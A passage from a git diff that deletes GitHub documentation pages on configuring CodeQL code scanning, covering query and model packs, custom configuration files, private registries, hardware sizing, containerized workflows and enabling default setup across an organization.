matrix variables. For example: -* The `.github/workflows/codeql-analysis.yml` workflow and the `analyze` action will produce the category `.github/workflows/codeql.yml:analyze`. -* The `.github/workflows/codeql-analysis.yml` workflow, the `analyze` action, and the `{language: javascript-typescript, os: linux}` matrix variables will produce the category `.github/workflows/codeql-analysis.yml:analyze/language:javascript-typescript/os:linux`. - -The `category` value will appear as the `<run>.automationDetails.id` property in SARIF v2.1.0. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#runautomationdetails-object). - -Your specified category will not overwrite the details of the `runAutomationDetails` object in the SARIF file, if included. - -## Extending {% data variables.product.prodname_codeql %} coverage with {% data variables.product.prodname_codeql %} model packs - -If your codebase depends on a library or framework that is not recognized by the standard queries in {% data variables.product.prodname_codeql %}, you can extend the {% data variables.product.prodname_codeql %} coverage in your {% data variables.product.prodname_code_scanning %} workflow by specifying published {% data variables.product.prodname_codeql %} model packs. For more information about creating your own model packs, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#creating-a-model-pack). - -{% data reusables.code-scanning.beta-model-packs %} - -{% ifversion codeql-threat-models %} - -### Using {% data variables.product.prodname_codeql %} model packs - -{% endif %} - -To add one or more published {% data variables.product.prodname_codeql %} model packs, specify them inside the `with: packs:` entry within the `uses: {% data reusables.actions.action-codeql-action-init %}` section of the workflow. Within `packs` you specify one or more packages to use and, optionally, which version to download. Where you don't specify a version, the latest version is downloaded. If you want to use packages that are not publicly available, you need to set the `GITHUB_TOKEN` environment variable to a secret that has access to the packages. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication) and [AUTOTITLE](/actions/security-guides/encrypted-secrets). - -``` yaml copy -- uses: {% data reusables.actions.action-codeql-action-init %} - with: - config-file: ./.github/codeql/codeql-config.yml - queries: security-extended - packs: my-company/my-java-queries@~7.8.9,my-repo/my-java-model-pack -``` - -In this example, the default queries will be run for Java, as well as the queries from a version greater than or equal to `7.8.9` and less than `7.9.0` of the query pack `my-company/my-java-queries`. The dependencies modeled in the latest version of the model pack `my-repo/my-java-model-pack` will be available to both the default queries and those in `my-company/my-java-queries`. - -## Running additional queries - -{% data reusables.code-scanning.run-additional-queries %} - -### Using query packs - -To add one or more {% data variables.product.prodname_codeql %} query packs, add a `with: packs:` entry within the `uses: {% data reusables.actions.action-codeql-action-init %}` section of the workflow. Within `packs` you specify one or more packages to use and, optionally, which version to download. Where you don't specify a version, the latest version is downloaded. If you want to use packages that are not publicly available, you need to set the `GITHUB_TOKEN` environment variable to a secret that has access to the packages. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication) and [AUTOTITLE](/actions/security-guides/encrypted-secrets). - -> [!NOTE] -> For workflows that generate {% data variables.product.prodname_codeql %} databases for multiple languages, you must instead specify the {% data variables.product.prodname_codeql %} query packs in a configuration file. For more information, see [Specifying {% data variables.product.prodname_codeql %} query packs](#specifying-codeql-query-packs) below. - -In the example below, `scope` is the organization or personal account that published the package. When the workflow runs, the four {% data variables.product.prodname_codeql %} query packs are downloaded from {% data variables.product.github %} and the default queries or query suite for each pack run: -* The latest version of `pack1` is downloaded and all default queries are run. -* Version 1.2.3 of `pack2` is downloaded and all default queries are run. -* The latest version of `pack3` that is compatible with version 3.2.1 is downloaded and all queries are run. -* Version 4.5.6 of `pack4` is downloaded and only the queries found in `path/to/queries` are run. - -``` yaml copy -- uses: {% data reusables.actions.action-codeql-action-init %} - with: - # Comma-separated list of packs to download - packs: scope/pack1,scope/pack2@1.2.3,scope/pack3@~3.2.1,scope/pack4@4.5.6:path/to/queries -``` - -> [!NOTE] -> If you specify a particular version of a query pack to use, beware that the version you specify may eventually become too old to be used efficiently by the default {% data variables.product.prodname_codeql %} engine used by the {% data variables.product.prodname_codeql %} action. To ensure optimal performance, if you need to specify exact query pack versions, you should consider reviewing periodically whether the pinned version of the query pack needs to be moved forward. -> -> For more information about pack compatibility, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs#about-codeql-pack-compatibility). - -### Downloading {% data variables.product.prodname_codeql %} packs from {% data variables.product.prodname_ghe_server %} - -If your workflow uses packs that are published on a {% data variables.product.prodname_ghe_server %} installation, you need to tell your workflow where to find them. You can do this by using the `registries` input of the {% data reusables.actions.action-codeql-action-init %} action. This input accepts a list of `url`, `packages`, and `token` properties as shown below. - -```yaml copy -- uses: {% data reusables.actions.action-codeql-action-init %} - with: - registries: {% raw %}| - # URL to the container registry, usually in this format - - url: https://containers.GHEHOSTNAME1/v2/ - - # List of package glob patterns to be found at this registry - packages: - - my-company/* - - my-company2/* - - # Token, which should be stored as a secret - token: ${{ secrets.GHEHOSTNAME1_TOKEN }} - - # URL to the default container registry - - url: https://ghcr.io/v2/ - # Packages can also be a string - packages: "*/*" - token: ${{ secrets.GHCR_TOKEN }} - - {% endraw %} -``` - -The package patterns in the registries list are examined in order, so you should generally place the most specific package patterns first. The values for `token` must be a {% data variables.product.pat_v1 %} generated by the GitHub instance you are downloading from with the `read:packages` permission. - -Notice the `|` after the `registries` property name. This is important since {% data variables.product.prodname_actions %} inputs can only accept strings. Using the `|` converts the subsequent text to a string, which is parsed later by the {% data reusables.actions.action-codeql-action-init %} action. - -### Using queries in QL packs - -To add one or more queries, add a `with: queries:` entry within the `uses: {% data reusables.actions.action-codeql-action-init %}` section of the workflow. If the queries are in a private repository, use the `external-repository-token` parameter to specify a token that has access to checkout the private repository. - -You can also specify query suites in the value of `queries`. Query suites are collections of queries, usually grouped by purpose or language. - -``` yaml copy -- uses: {% data reusables.actions.action-codeql-action-init %} - with: - # Comma-separated list of queries / packs / suites to run. - # This may include paths or a built in suite, for example: - # security-extended or security-and-quality. - queries: security-extended - # Optional. Provide a token to access queries stored in private repositories. - external-repository-token: {% raw %}${{ secrets.ACCESS_TOKEN }}{% endraw %} -``` - -{% data reusables.code-scanning.codeql-query-suites-explanation %} - -### Working with custom configuration files - -If you also use a configuration file for custom settings, any additional packs or queries specified in your workflow are used instead of those specified in the configuration file. If you want to run the combined set of additional packs or queries, prefix the value of `packs` or `queries` in the workflow with the `+` symbol. For more information, see [Using a custom configuration file](#using-a-custom-configuration-file). - -In the following example, the `+` symbol ensures that the specified additional packs and queries are used together with any specified in the referenced configuration file. - -``` yaml copy -- uses: {% data reusables.actions.action-codeql-action-init %} - with: - config-file: ./.github/codeql/codeql-config.yml - queries: +security-and-quality,octo-org/python-qlpack/show_ifs.ql@main - packs: +scope/pack1,scope/pack2@1.2.3,scope/pack3@4.5.6:path/to/queries -``` -<!-- Anchor to maintain the current CodeQL CLI manual pages link: https://aka.ms/code-scanning-docs/config-file --> -<a name="using-a-custom-configuration-file"></a> - -<!-- Anchor to maintain the old CodeQL CLI manual pages link: https://aka.ms/docs-config-file --> -<a name="example-configuration-files"></a> - -## Using a custom configuration file - -A custom configuration file is an alternative way to specify additional packs and queries to run. You can also use the file to disable the default queries, exclude or include specific queries, and to specify which directories to scan during analysis. - -In the workflow file, use the `config-file` parameter of the `init` action to specify the path to the configuration file you want to use. This example loads the configuration file _./.github/codeql/codeql-config.yml_. - -``` yaml copy -- uses: {% data reusables.actions.action-codeql-action-init %} - with: - config-file: ./.github/codeql/codeql-config.yml -``` - -{% data reusables.code-scanning.custom-configuration-file %} - -If the configuration file is located in an external private repository, use the `external-repository-token` parameter of the `init` action to specify a token that has access to the private repository. - -```yaml copy -- uses: {% data reusables.actions.action-codeql-action-init %} - with: - external-repository-token: {% raw %}${{ secrets.ACCESS_TOKEN }}{% endraw %} -``` - -The settings in the configuration file are written in YAML format. - -### Specifying {% data variables.product.prodname_codeql %} query packs - -You specify {% data variables.product.prodname_codeql %} query packs in an array. Note that the format is different from the format used by the workflow file. - -{% raw %} - -``` yaml copy -packs: - # Use the latest version of 'pack1' published by 'scope' - - scope/pack1 - # Use version 1.2.3 of 'pack2' - - scope/pack2@1.2.3 - # Use the latest version of 'pack3' compatible with 3.2.1 - - scope/pack3@~3.2.1 - # Use pack4 and restrict it to queries found in the 'path/to/queries' directory - - scope/pack4:path/to/queries - # Use pack5 and restrict it to the query 'path/to/single/query.ql' - - scope/pack5:path/to/single/query.ql - # Use pack6 and restrict it to the query suite 'path/to/suite.qls' - - scope/pack6:path/to/suite.qls -``` - -{% endraw %} - -The full format for specifying a query pack is `scope/name[@version][:path]`. Both `version` and `path` are optional. `version` is semver version range. If it is missing, the latest version is used. For more information about semver ranges, see the [semver docs on npm](https://docs.npmjs.com/cli/v6/using-npm/semver#ranges). - -If you have a workflow that generates more than one {% data variables.product.prodname_codeql %} database, you can specify any {% data variables.product.prodname_codeql %} query packs to run in a custom configuration file using a nested map of packs. - -{% raw %} - -``` yaml copy -packs: - # Use these packs for JavaScript and TypeScript analysis - javascript: - - scope/js-pack1 - - scope/js-pack2 - # Use these packs for Java and Kotlin analysis - java: - - scope/java-pack1 - - scope/java-pack2@v1.0.0 -``` - -{% endraw %} - -{% ifversion codeql-threat-models %} - -### Extending {% data variables.product.prodname_codeql %} coverage with threat models - -{% data reusables.code-scanning.beta-threat-models %} - -The default threat model includes remote sources of untrusted data. You can extend the {% data variables.product.prodname_codeql %} threat model to include local sources of untrusted data (for example: command-line arguments, environment variables, file systems, and databases) by specifying `threat-models: local` in a custom configuration file. If you extend the threat model, the default threat model will also be used. - -{% endif %} - -### Specifying additional queries - -You specify additional queries in a `queries` array. Each element of the array contains a `uses` parameter with a value that identifies a single query file, a directory containing query files, or a query suite definition file. - -``` yaml copy -queries: - - uses: ./my-basic-queries/example-query.ql - - uses: ./my-advanced-queries - - uses: ./query-suites/my-security-queries.qls -``` - -Optionally, you can give each array element a name, as shown in the example configuration files below. For more information about additional queries, see [Running additional queries](#running-additional-queries) above. - -### Disabling the default queries - -If you only want to run custom queries, you can disable the default security queries by using `disable-default-queries: true`. - -### Excluding specific queries from analysis - -You can add `exclude` and `include` filters to your custom configuration file, to specify the queries you want to exclude or include in the analysis. - -This is useful if you want to exclude, for example: -* Specific queries from the default suites (`security`, `security-extended` and `security-and-quality`). -* Specific queries whose results do not interest you. -* All the queries that generate warnings and recommendations. - -You can use `exclude` filters similar to those in the configuration file below to exclude queries that you want to remove from the default analysis. In the example of configuration file below, both the `js/redundant-assignment` and the `js/useless-assignment-to-local` queries are excluded from analysis. - -```yaml copy -query-filters: - - exclude: - id: js/redundant-assignment - - exclude: - id: js/useless-assignment-to-local -``` - -To find the id of a query, you can click the alert in the list of alerts in the **Security** tab. This opens the alert details page. The `Rule ID` field contains the query id. For more information about the alert details page, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts#about-alert-details). - -> [!TIP] -> * The order of the filters is important. The first filter instruction that appears after the instructions about the queries and query packs determines whether the queries are included or excluded by default. -> * Subsequent instructions are executed in order and the instructions that appear later in the file take precedence over the earlier instructions. - -You can find another example illustrating the use of these filters in the [Example configuration files](#example-configuration-files) section. - -For more information about using `exclude` and `include` filters in your custom configuration file, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-codeql-query-suites#filtering-the-queries-in-a-query-suite). For information on the query metadata you can filter on, see [Metadata for CodeQL queries](https://codeql.github.com/docs/writing-codeql-queries/metadata-for-codeql-queries/). - -### Specifying directories to scan - -When codebases are analyzed without building the code, you can restrict {% data variables.product.prodname_code_scanning %} to files in specific directories by adding a `paths` array to the configuration file. You can also exclude the files in specific directories from analysis by adding a `paths-ignore` array. You can use this option when you run the {% data variables.product.prodname_codeql %} actions on an interpreted language (Python, Ruby, and JavaScript/TypeScript){% ifversion codeql-no-build %} or when you analyze a compiled language without building the code (currently supported for {% data variables.code-scanning.no_build_support %}){% endif %}. - -``` yaml copy -paths: - - src -paths-ignore: - - src/node_modules - - '**/*.test.js' -``` - -> [!NOTE] -> * The `paths` and `paths-ignore` keywords, used in the context of the {% data variables.product.prodname_code_scanning %} configuration file, should not be confused with the same keywords when used for `on.<push|pull_request>.paths` in a workflow. When they are used to modify `on.<push|pull_request>` in a workflow, they determine whether the actions will be run when someone modifies code in the specified directories. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore). -> * The filter pattern characters `?`, `+`, `[`, `]`, and `!` are not supported and will be matched literally. -> * `**` characters can only be at the start or end of a line, or surrounded by slashes, and you can't mix `**` and other characters. For example, `foo/**`, `**/foo`, and `foo/**/bar` are all allowed syntax, but `**foo` isn't. However you can use single stars along with other characters, as shown in the example. You'll need to quote anything that contains a `*` character. - -For analysis where code is built, if you want to limit {% data variables.product.prodname_code_scanning %} to specific directories in your project, you must specify appropriate build steps in the workflow. The commands you need to use to exclude a directory from the build will depend on your build system. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#adding-build-steps-for-a-compiled-language). - -You can quickly analyze small portions of a monorepo when you modify code in specific directories. You'll need to both exclude directories in your build steps and use the `paths-ignore` and `paths` keywords for [`on.<push|pull_request>`](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore) in your workflow. - -### Example configuration files - -{% data reusables.code-scanning.example-configuration-files %} - -## Specifying configuration details using the `config` input - -If you'd prefer to specify additional configuration details in the workflow file, you can use the `config` input of the `init` command of the {% data variables.product.prodname_codeql %} action. The value of this input must be a YAML string that follows the configuration file format documented at [Using a custom configuration file](#using-a-custom-configuration-file) above. - -### Example configuration - -This step in a {% data variables.product.prodname_actions %} workflow file uses a `config` input to disable the default queries, add the `security-extended` query suite, and exclude queries that are tagged with `cwe-020`. - -```yaml -- uses: {% data reusables.actions.action-codeql-action-init %} - with: - languages: {% raw %}${{ matrix.language }}{% endraw %} - config: | - disable-default-queries: true - queries: - - uses: security-extended - query-filters: - - exclude: - tags: /cwe-020/ -``` - -You can use the same approach to specify any valid configuration options in the workflow file. - -> [!TIP] -> You can share one configuration across multiple repositories using {% data variables.product.prodname_actions %} variables. One benefit of this approach is that you can update the configuration in a single place without editing the workflow file. -> -> In the following example, `vars.CODEQL_CONF` is a {% data variables.product.prodname_actions %} variable. Its value can be the contents of any valid configuration file. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). -> -> ```yaml -> - uses: {% data reusables.actions.action-codeql-action-init %} -> with: -> languages: {% raw %}${{ matrix.language }}{% endraw %} -> config: {% raw %}${{ vars.CODEQL_CONF }}{% endraw %} -> ``` - -## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages - -{% ifversion codeql-no-build %} - -For compiled languages, you can decide how the {% data variables.product.prodname_codeql %} action creates a {% data variables.product.prodname_codeql %} database for analysis. For information about the build options available, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages). - -{% else %} - -For compiled languages, the {% data variables.product.prodname_codeql %} action builds the codebase to create a {% data variables.product.prodname_codeql %} database for analysis. By default, {% data variables.product.prodname_codeql %} uses `autobuild` steps to identify the most likely build method for the codebase. {% data reusables.code-scanning.autobuild-add-build-steps %} For more information about how to configure {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for compiled languages, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages). - -{% endif %} - -## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %} - -{% data variables.product.prodname_dotcom %} can display code analysis data generated externally by a third-party tool. You can upload code analysis data with the `upload-sarif` action. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github). diff --git a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/index.md b/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/index.md deleted file mode 100644 index 9f5c7c757dcd..000000000000 --- a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Creating an advanced setup for {% data variables.product.prodname_code_scanning %} -shortTitle: 'Create advanced setup' -intro: 'For more granular control over your {% data variables.product.prodname_code_scanning %} configuration, you can secure your code with advanced setup for {% data variables.product.prodname_code_scanning %}.' -product: '{% data reusables.gated-features.code-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning -children: - - /configuring-advanced-setup-for-code-scanning - - /customizing-your-advanced-setup-for-code-scanning - - /codeql-code-scanning-for-compiled-languages - - /configuring-advanced-setup-for-code-scanning-with-codeql-at-scale - - /recommended-hardware-resources-for-running-codeql - - /running-codeql-code-scanning-in-a-container ---- diff --git a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/recommended-hardware-resources-for-running-codeql.md b/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/recommended-hardware-resources-for-running-codeql.md deleted file mode 100644 index 04482500a648..000000000000 --- a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/recommended-hardware-resources-for-running-codeql.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Recommended hardware resources for running CodeQL -shortTitle: Hardware resources for CodeQL -intro: 'Recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis on self-hosted machines, based on the size of your codebase.' -product: '{% data reusables.gated-features.codeql %}' -redirect_from: - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL - - Repositories - - Integration - - CI ---- -You can configure {% data variables.product.prodname_codeql %} on {% data variables.product.prodname_actions %} or on an external CI system. {% data variables.product.prodname_codeql %} is fully compatible with {% data variables.product.prodname_dotcom %}-hosted runners on {% data variables.product.prodname_actions %}. - -If you're using an external CI system, or self-hosted runners on {% data variables.product.prodname_actions %} for private repositories, you're responsible for configuring your own hardware. The optimal hardware configuration for running {% data variables.product.prodname_codeql %} may vary based on the size and complexity of your codebase, the programming languages and build systems being used, and your CI workflow configuration. - -The table below provides recommended hardware specifications for running {% data variables.product.prodname_codeql %} analysis, based on the size of your codebase. Use these as a starting point for determining your choice of hardware or virtual machine. A machine with greater resources may improve analysis performance, but may also be more expensive to maintain. - -| Codebase size | RAM | CPU | -|--------|--------|--------| -| Small (<100 K lines of code) | 8 GB or higher | 2 cores | -| Medium (100 K to 1 M lines of code) | 16 GB or higher | 4 or 8 cores | -| Large (>1 M lines of code) | 64 GB or higher | 8 cores | - -For all codebase sizes, we recommend using an SSD with 14 GB or more of disk space. There must be enough disk space to check out and build your code, plus additional space for data produced by {% data variables.product.prodname_codeql %}. diff --git a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/running-codeql-code-scanning-in-a-container.md b/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/running-codeql-code-scanning-in-a-container.md deleted file mode 100644 index f34d0e7c3052..000000000000 --- a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/running-codeql-code-scanning-in-a-container.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Running CodeQL code scanning in a container -shortTitle: '{% data variables.product.prodname_code_scanning_caps %} in a container' -intro: 'You can run {% data variables.product.prodname_code_scanning %} in a container by ensuring that all processes run in the same container.' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-a-container - - /code-security/secure-coding/running-codeql-code-scanning-in-a-container - - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container - - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Code Security - - Code scanning - - CodeQL - - Actions - - Repositories - - Containers - - Java ---- - -## About {% data variables.product.prodname_code_scanning %} with a containerized build - -If you're configuring {% data variables.product.prodname_code_scanning %} for a compiled language, and you're building the code in a containerized environment, the analysis may fail with the error message "No source code was seen during the build." This indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code as it was compiled. - -You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_cli %} or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_cli %}, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system) for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see [Example workflow](#example-workflow). - -> [!NOTE] -> {% data reusables.code-scanning.non-glibc-linux-support %} - -## Dependencies for {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} - -You may have difficulty running {% data variables.product.prodname_code_scanning %} if the container you're using is missing certain dependencies (for example, Git must be installed and added to the PATH variable). If you encounter dependency issues, review the list of software typically included on {% data variables.product.prodname_dotcom %}'s runner images. For more information, see the version-specific `readme` files in these locations: - -* Linux: https://github.com/actions/runner-images/tree/main/images/ubuntu -* macOS: https://github.com/actions/runner-images/tree/main/images/macos -* Windows: https://github.com/actions/runner-images/tree/main/images/windows - -## Example workflow - -{% data reusables.code-scanning.codeql-action-version-ghes %} - -This sample workflow uses {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_codeql %} analysis in a containerized environment. The value of `container.image` identifies the container to use. In this example the image is named `codeql-container`, with a tag of `f0f91db`. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontainer). - -```yaml -name: "{% data variables.product.prodname_codeql %}" - -on: - push: - branches: [main] - pull_request: - branches: [main] - schedule: - - cron: '15 5 * * 3' - -jobs: - analyze: - name: Analyze - runs-on: ubuntu-latest - permissions: - security-events: write - actions: read - - strategy: - fail-fast: false - matrix: - language: [java-kotlin] - - # Specify the container in which actions will run - container: - image: codeql-container:f0f91db - - steps: - - name: Checkout repository - uses: {% data reusables.actions.action-checkout %} - - name: Initialize {% data variables.product.prodname_codeql %} - uses: {% data reusables.actions.action-codeql-action-init %} - with: - languages: {% raw %}${{ matrix.language }}{% endraw %} - - name: Build - run: | - ./configure - make - - name: Perform {% data variables.product.prodname_codeql %} Analysis - uses: {% data reusables.actions.action-codeql-action-analyze %} -``` diff --git a/content/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale.md b/content/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale.md deleted file mode 100644 index d67a5d3d4d50..000000000000 --- a/content/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale.md +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: Configuring default setup for code scanning at scale -shortTitle: Code scanning at scale -intro: 'You can quickly configure {% data variables.product.prodname_code_scanning %} for repositories across your organization using default setup.' -redirect_from: - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning-at-scale - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-default-setup-for-code-scanning-at-scale -permissions: '{% data reusables.permissions.security-org-enable %}' -product: '{% data reusables.gated-features.code-scanning %}' -type: how_to -topics: - - Code Security - - Code scanning -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About configuring default setup at scale - -With default setup for {% data variables.product.prodname_code_scanning %}, you can quickly secure code in repositories across your organization. - -You can enable {% data variables.product.prodname_code_scanning %} for all repositories in your organization that are eligible for default setup. After enabling default setup, the code written in {% data variables.product.prodname_codeql %}-supported languages in repositories in the organization will be scanned: - -* On each push to the repository's default branch, or any protected branch. For more information on protected branches, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). -* When creating or committing to a pull request based against the repository's default branch, or any protected branch, excluding pull requests from forks. -* On a weekly schedule. - -For more information, see [Configuring default setup for all eligible repositories in an organization](#configuring-default-setup-for-all-eligible-repositories-in-an-organization). - -{% ifversion pre-security-configurations %} - -You can also use security overview to find a set of repositories in your organization and enable or disable default setup for all of them at the same time. For more information, see [Configuring default setup for a subset of repositories in an organization](#configuring-default-setup-for-a-subset-of-repositories-in-an-organization). - -{% endif %} - -For repositories that are not eligible for default setup, you can configure advanced setup at the repository level, or at the organization level using a script. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning-with-codeql-at-scale). - -<!-- Anchor to maintain the UI link to this heading --> -<a name="eligible-repositories-default-setup"></a> - -### Eligible repositories for {% data variables.product.prodname_codeql %} default setup at scale - -A repository must meet all the following criteria to be eligible for default setup, otherwise you need to use advanced setup. - -* {% ifversion fpt %}{% data variables.product.prodname_code_scanning_caps %}{% else %}Advanced setup for {% data variables.product.prodname_code_scanning %}{% endif %} is not already enabled. -* {% data variables.product.prodname_actions %} are enabled.{% ifversion default-setup-pre-enablement %} -* Uses Go, JavaScript/TypeScript, Python, or Ruby.{% endif %} -{% data reusables.code-scanning.require-actions-ghcs %} - -{% ifversion default-setup-pre-enablement %} -{% data reusables.code-scanning.default-setup-pre-enablement-explanation %} -{% endif %} -{% ifversion pre-security-configurations %} - -> [!NOTE] -> Configuring default setup for all repositories in an organization through your organization's settings page _will not_ override existing configurations of default setup. However, configuring default setup on a subset of repositories in an organization through security overview _will_ override existing configurations of default setup on those repositories. - -{% endif %} - -### About adding languages to an existing default setup configuration - -If the code in a repository changes to include a {% data variables.product.prodname_codeql %}-supported language, {% data variables.product.prodname_dotcom %} will automatically update the {% data variables.product.prodname_code_scanning %} configuration to include the new language. If {% data variables.product.prodname_code_scanning %} fails with the new configuration, {% data variables.product.prodname_dotcom %} will resume the previous configuration automatically so the repository does not lose {% data variables.product.prodname_code_scanning %} coverage. - -{% ifversion org-private-registry %} - -### Providing default setup access to private registries - -When a repository uses code stored in a private registry, default setup needs access to the registry to work effectively. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/giving-org-access-private-registries). - -{% endif %} - -## Configuring default setup for all eligible repositories in an organization - -{% ifversion security-configurations %} You can enable default setup for all eligible repositories in your organization. For more information, see [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale). -{% else %} -Through the "{% data variables.product.UI_advanced_security %}" page of your organization's settings, you can enable default setup for all eligible repositories in your organization. For more information on repository eligibility, see [Eligible repositories for {% data variables.product.prodname_codeql %} default setup at scale](#eligible-repositories-default-setup). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security-and-analysis %} -1. Click **Enable all** next to "{% data variables.product.prodname_code_scanning_caps %}". -1. In the "Query suites" section of the "Enable {% data variables.product.prodname_code_scanning %} default setup" dialog box displayed, select the query suite your configuration of default setup will run. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/codeql-query-suites). -1. To enable your configuration of default setup, click **Enable for eligible repositories**. -1. Optionally, to recommend the "Extended" query suite throughout your organization when enabling default setup, select "Recommend the extended query suite for repositories enabling default setup." - -> [!NOTE] -> * {% data reusables.code-scanning.limitation-org-enable-all %} -> * Enabling {% data variables.product.prodname_code_scanning %} for all eligible repositories in an organization will not override existing {% data variables.product.prodname_code_scanning %} configurations. For information on configuring default setup with different settings for specific repositories, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning).{% ifversion default-setup-pre-enablement %} -> * Enabling default setup for all eligible repositories in an organization includes eligible repositories without {% data variables.product.prodname_codeql %}-supported languages. If a {% data variables.product.prodname_codeql %}-supported language is later added to one of these repositories, default setup will begin scanning that repository and consuming {% data variables.product.prodname_actions %} minutes.{% endif %} - -{% endif %} - -{% ifversion codeql-model-packs-org %} - -### Extending {% data variables.product.prodname_codeql %} coverage in default setup - -Through your organization's security settings page, you can extend coverage in default setup using model packs for all eligible repositories in your organization. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup#extending-coverage-for-all-repositories-in-an-organization). -{% endif %} - -## Configuring default setup for a subset of repositories in an organization - -{% ifversion security-configurations %} - -You can filter for specific repositories you would like to configure default setup for. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration). - -{% endif %} - -{% ifversion pre-security-configurations %} - -Through security overview for your organization, you can find eligible repositories for default setup, then enable default setup across each of those repositories simultaneously. For more information on repository eligibility, see [Eligible repositories for {% data variables.product.prodname_codeql %} default setup at scale](#eligible-repositories-default-setup). - -### Finding repositories that are eligible for default setup - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -{% data reusables.security-overview.security-overview-coverage-view %} -1. In the search bar, enter one of the following queries: - -{%- ifversion ghes > 3.12 %} - - `code-scanning-default-setup:eligible is:public` shows repositories that have languages suitable for default setup and are eligible because they are visible to the public. - - `code-scanning-default-setup:eligible advanced-security:enabled` shows private or internal repositories that have languages suitable for default setup and are eligible because they have {% data variables.product.prodname_GHAS %} enabled. - - `code-scanning-default-setup:eligible is:private,internal advanced-security:not-enabled` shows private or internal repositories that have languages suitable for default setup but do not have {% data variables.product.prodname_GHAS %} enabled. Once you enable {% data variables.product.prodname_GHAS %} for these repositories, they can also be added to default setup. -{%- else %} - - `code-scanning-default-setup:eligible advanced-security:enabled` shows which repositories can be added to default setup immediately. - - `code-scanning-default-setup:eligible 